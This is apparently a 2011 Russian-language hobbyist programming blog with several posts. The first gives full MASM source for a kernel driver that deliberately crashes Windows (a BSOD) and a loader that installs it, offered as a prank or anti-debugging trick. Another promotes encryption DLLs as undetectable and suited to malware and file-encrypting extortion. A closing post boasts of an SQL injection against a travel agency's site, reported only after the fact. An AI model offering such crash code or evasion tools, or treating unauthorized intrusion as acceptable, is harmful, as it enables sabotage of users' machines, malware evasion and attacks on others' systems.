Общее·количество·просмотров·страницы

вторник, 28 июня 2011 г.

Простой Драйвер режима ядра.

Решил тут немного дрова подучить, поэтому думаю кому то пригодится.
Драйвер простенький и скорее нужен для микро-защиты,или просто поглумиться.
В общем драйвер работает в нулевом кольце защиты(проверял только на 32-битных ХРюшах-все работает).Смысл заключается в том что бы создать крах системы,поскольку в Ring3 программно этого не сделать.
Получается в ring0 на нуль делить нельзя,это я и воссоздал в драйвере,всего 3 ассемблерных инструкции.
Код самого драйвера(masm)

Код:;@echo off
;goto make  
.386 
.model flat, stdcall 
option casemap:none  
include \masm32\include\w2k\ntstatus.inc 
include \masm32\include\w2k\ntddk.inc  
include \masm32\include\w2k\hal.inc  
includelib \masm32\lib\w2k\hal.lib  
.code  
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING  
xor eax,eax 
xor ebx,ebx 
div ebx  
DriverEntry endp  
end DriverEntry  
:make  
set drv=FORCE  
\masm32\bin\ml /nologo /c /coff %drv%.bat 
\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj  
del %drv%.obj  
echo. pause

Это как бы совмещение батника и асм,но с расширением bat.Для компиляции потребуется инклуды с ДДК.
И сама программа использующая драйвер

Код:  .386 
.model flat, stdcall 
option casemap:none  
include include\windows.inc  
include include\kernel32.inc
include include\user32.inc
include include\advapi32.inc  
includelib lib\kernel32.lib 
includelib lib\user32.lib 
includelib lib\advapi32.lib  
.data driver db 'FORCE.sys',0 
txt1 db 'BSOD',0 
txt2 db 'BSOD!UHAHA',0 
txt3 db 'Can not register driver',0
txt4 db 'Can not connect to Service Control Manager',0  
.code  
start proc local hSCManager:HANDLE local hService:HANDLE local acDriverPath[MAX_PATH]:CHAR  
invoke OpenSCManager, 0, 0, SC_MANAGER_CREATE_SERVICE  
.if eax != NULL  
mov hSCManager, eax  
push eax  
invoke GetFullPathName,addr driver, sizeof acDriverPath, addr acDriverPath, esp pop eax  
invoke CreateService, hSCManager, addr txt1, addr txt2, \ SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \ SERVICE_ERROR_IGNORE, addr acDriverPath, 0, 0, 0, 0, 0  
.if eax != NULL  
mov hService, eax  
invoke StartService, hService, 0, 0  
invoke DeleteService, hService  
invoke CloseServiceHandle, hService  
.else  
invoke MessageBox, 0,addr txt3, 0, MB_ICONSTOP  
.endif  
invoke CloseServiceHandle, hSCManager  
.else invoke MessageBox, 0, addr txt4,0, MB_ICONSTOP  
.endif  
invoke ExitProcess, 0  
start endp 
end start

И так что же происходит.Алгоритм использования дрова такой:
1)Установить связь с менеджером управления сервисами и открыть его базу данных
2)Подгрузить дров
3)Создать объект службы и внести его в базу данных
4)Запустить службу(тут и будет бсод)
5)Удалить службу
6)Закрыть хэндл.

Что происходит внутри:Попадаем в нулевое кольцо защиты, делим на нуль (те 3 инструкции) вызываем бсод.
можно юзать как антиотладочное средство
Подробнее о точке входа в дров,и ДДК есть на wasm.ru
размер дрова- 576 байт
размер проги- 1586 байт
http://splashed.ucoz.ru/FORCE.rar

воскресенье, 19 июня 2011 г.

Dll crypt

Хочу представить Вам две dll-ки для крипта.
1)Длл которая содержит три простых и в тоже время часто используемых в легкой защите алгоритма- ROR, ROL, XOR.
Библиотека написана полностью на ассемблере.
Вес библиотеки: 2048 байт.

2)Библиотека с более сложным алгоритмом,некогда написанная гру3ином(CSCA1) (с)http://pblog.ru/

Модификации которые я внес не значительны (в коде):
1)Размер библиотеки уменьшен
2)Полностью переписана на макро ассемблер (С фасма)
3)Немного внес свою лепту в код
4)Не палится НИЧЕМ, так что псевдо-хацкеры снова могут юзать ее для своих грязных дел(вспомните ситуацию когда вирус шифровал файлы и вымогал $)
так что своего рода приват
Размер также составляет 2 кб.

Скачать dll-ки http://splashed.ucoz.ru/DLL.zip

Как юзать:
подгружаем длл используя LoadLibrary,получаем адрес функции GetProcAddress
вызываем фун-ю и выгружаем длл-ку .









на примере показано шифрование ROR .
для XOR перед eax перед вызовом функции добавляется параметр ключа шифрования.
то есть дописуем есчо так push 66d
где 66d ключ шифрования.
ключ не может быть больше 0FF/
пример использования второй либы есть в паблике(только вместо вызова csca1 вызывайте crypt).
Юзать можно для шифрования строк,доков...для создание мальварей, внутренней защиты строк (кракми и т.п.)и т.п.

воскресенье, 12 июня 2011 г.

Shutdown таймер

Давно нужна была программа которая сама выключала бы комп.И вот я ее написал.
Скачать тута http://splashed.ucoz.ru/Shutdown_Timer.zip
03.09.11 Исправлены мелкие баги и недочеты.

суббота, 11 июня 2011 г.

Планы на будущие разработки.

Пришла мне в голову дурная мысль создать свою ОС.
Это будет клон всем нам раньше известной DOS.
Потолковав с умными людьми,я собрал информацию о том что же по-минимуму будет называться ОС,что она должна уметь:
1)Конечно же загрузка,предполагается  создание двух загрузчиков- первичного и вторичного,хотя может быть и одного.
2)Исполнение пользовательских программ
3)Выводить символы (то есть работа с монитором)
4)Работа с файлами-создать,записать,удалить,показать директорию
5)Работа с клавиатурой
Вот это и есть необходимый минимум. Предполагается написание полностью на TASM.
Работать будет для начала под фс FAT 12 и com программами,а дальше уже посмотрим.
Только вот пока времени нету,сессия:)

SQL инъекция.

Видео о проведении мною SQL инъекции на сайте тур-агенства.Администрация была уведомлена,но уже после хака:)
Вот так вот:)